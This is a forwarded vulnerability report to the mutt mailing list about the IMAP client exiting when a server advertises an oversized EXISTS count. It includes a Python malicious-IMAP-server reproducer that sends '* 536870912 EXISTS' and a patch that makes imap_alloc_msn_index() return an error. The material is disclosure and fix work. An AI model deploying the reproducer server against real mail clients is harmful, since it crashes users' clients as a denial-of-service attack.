----- Forwarded message from Acts1631 <[email protected]> -----
Date: Wed, 17 Jun 2026 20:15:45 +0000 From: Acts1631 <[email protected]> To: "[email protected]" <[email protected]> Subject: report 2/3: unsafe handling of excessive IMAP message counts X-Spam-score: 0.0 X-Delivered-to: [email protected] Message-ID: <G-KzwmXKdxrUP1fWImAzQs8Ni0STXnRhCbBsDypI7jfHnEVOUpQGM8Sn2GldVLJUzahlOxqma528UHKf3jFucx6DzZYXCQNfOqF_WbswJI0=@proton.me> imap_alloc_msn_index() checks for maliciously large IMAP message sequence number counts before allocating idata->msn_index: if (msn_count >= (UINT_MAX / sizeof(HEADER *))) { mutt_error _("Integer overflow -- can't allocate memory."); sleep(1); mutt_exit(1); } Calling mutt_exit(1) terminates the mutt process. A robust IMAP client should reject the mailbox/update and return an error to the caller instead of exiting the program. A malicious IMAP server sends a large message count that fits within an unsigned int but exceeds the conservative allocation threshold, such as: * 536870912 EXISTS On a typical 64-bit build, sizeof(HEADER *) is 8 and the threshold is UINT_MAX / 8, so values in this range trigger the condition. Proposed fix: Modify imap_alloc_msn_index() to return an error status (int) instead of exiting: 1. Return -1 on allocation refusal, and 0 on success. 2. Update all callers in imap/message.c to check the return value and bail out gracefully before using idata->msn_index. 3. Move the check before memory growth for ctx->hdrs in imap_read_headers() to prevent excessive memory allocations. ----- End forwarded message ----- -- Kevin J. McCarthy GPG Fingerprint: 8975 A9B3 3AA3 7910 385C 5308 ADEF 7684 8031 6BDA
#!/usr/bin/env python3
"""
Reproducer/exerciser for Bug 2: excessive IMAP EXISTS count.
The previous reproducer sent 2305843009213693952, but mutt_atoui() rejects
values larger than UINT_MAX before imap_alloc_msn_index() can see them.
This server sends a value that still fits in unsigned int but exceeds the
conservative msn_index allocation threshold on typical 64-bit builds:
* 536870912 EXISTS
On the original source tree, this may fail during context growth before the
specific imap_alloc_msn_index() mutt_exit() line because imap_read_headers()
grows ctx->hdrs first. The corrected patch moves the msn_index size check
before context growth and returns an error to callers instead of continuing
with stale msn_index state.
Usage:
python3 reproducer_imap_crash.py
mutt -f imap://user:[email protected]:11443/INBOX
"""
import socket
HOST = "0.0.0.0"
PORT = 11443
MALICIOUS_EXISTS = 536870912
def send_line(conn, line):
print(f"S: {line}")
conn.sendall((line + "\r\n").encode("ascii"))
def handle_client(conn):
conn.settimeout(30)
send_line(conn, "* OK IMAP4rev1 server ready")
data = b""
while True:
try:
chunk = conn.recv(4096)
except socket.timeout:
break
if not chunk:
break
data += chunk
while b"\r\n" in data:
raw_line, data = data.split(b"\r\n", 1)
line = raw_line.decode("utf-8", errors="replace")
if not line:
continue
tag = line.split(" ", 1)[0]
upper = line.upper()
print(f"C: {line}")
if "CAPABILITY" in upper:
send_line(conn, "* CAPABILITY IMAP4rev1")
send_line(conn, f"{tag} OK CAPABILITY completed")
elif "LOGIN" in upper:
send_line(conn, f"{tag} OK LOGIN completed")
elif "SELECT" in upper or "EXAMINE" in upper:
send_line(conn, f"* {MALICIOUS_EXISTS} EXISTS")
send_line(conn, "* 0 RECENT")
send_line(conn, "* OK [UIDVALIDITY 1] UIDs valid")
send_line(conn, f"{tag} OK SELECT completed")
elif "LOGOUT" in upper:
send_line(conn, "* BYE Logging out")
send_line(conn, f"{tag} OK LOGOUT completed")
return
else:
send_line(conn, f"{tag} OK completed")
def main():
print(f"Starting IMAP test server on {HOST}:{PORT}")
print(f"Will advertise {MALICIOUS_EXISTS} messages on SELECT/EXAMINE")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
sock.listen(5)
try:
while True:
conn, addr = sock.accept()
print(f"Connection from {addr}")
with conn:
handle_client(conn)
except KeyboardInterrupt:
print("Server stopped.")
finally:
sock.close()
if __name__ == "__main__":
main()
diff --git a/imap/message.c b/imap/message.c
index d953a9a1..00000000 100644
--- a/imap/message.c
+++ b/imap/message.c
@@ -99,12 +99,12 @@ static int query_abort_header_download(IMAP_DATA *idata)
}
-static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
+static int imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
{
unsigned int new_size;
if (msn_count <= idata->msn_index_size)
- return;
+ return 0;
/* This is a conservative check to protect against a malicious imap
* server. Most likely size_t is bigger than an unsigned int, but
@@ -113,7 +113,7 @@ static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
{
mutt_error _("Integer overflow -- can't allocate memory.");
sleep(1);
- mutt_exit(1);
+ return -1;
}
/* Add a little padding, like mx_allloc_memory() */
@@ -129,6 +129,8 @@ static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
}
idata->msn_index_size = new_size;
+
+ return 0;
}
/* This function is run after imap_alloc_msn_index, so we skip the
@@ -257,9 +257,11 @@ retry:
#endif /* USE_HCACHE */
/* make sure context has room to hold the mailbox */
+ if (imap_alloc_msn_index(idata, msn_end) < 0)
+ goto bail;
+
while (msn_end > ctx->hdrmax)
mx_alloc_memory(ctx);
- imap_alloc_msn_index(idata, msn_end);
imap_alloc_uid_hash(idata, msn_end);
oldmsgcount = ctx->msgcount;
@@ -598,6 +600,7 @@ static int read_headers_qresync_eval_cache(IMAP_DATA *idata, char *uid_seqset)
* we need to watch and reallocate the context and msn_index */
if (msn > idata->msn_index_size)
- imap_alloc_msn_index(idata, msn);
+ if (imap_alloc_msn_index(idata, msn) < 0)
+ return -1;
h = imap_hcache_get(idata, uid);
if (h)
@@ -1022,9 +1025,11 @@ static int read_headers_fetch_new(IMAP_DATA *idata, unsigned int msn_begin,
if (idata->reopen & IMAP_NEWMAIL_PENDING)
{
msn_end = idata->newMailCount;
+ if (imap_alloc_msn_index(idata, msn_end) < 0)
+ goto bail;
+
while (msn_end > ctx->hdrmax)
mx_alloc_memory(ctx);
- imap_alloc_msn_index(idata, msn_end);
idata->reopen &= ~IMAP_NEWMAIL_PENDING;
idata->newMailCount = 0;
}
signature.asc
Description: PGP signature
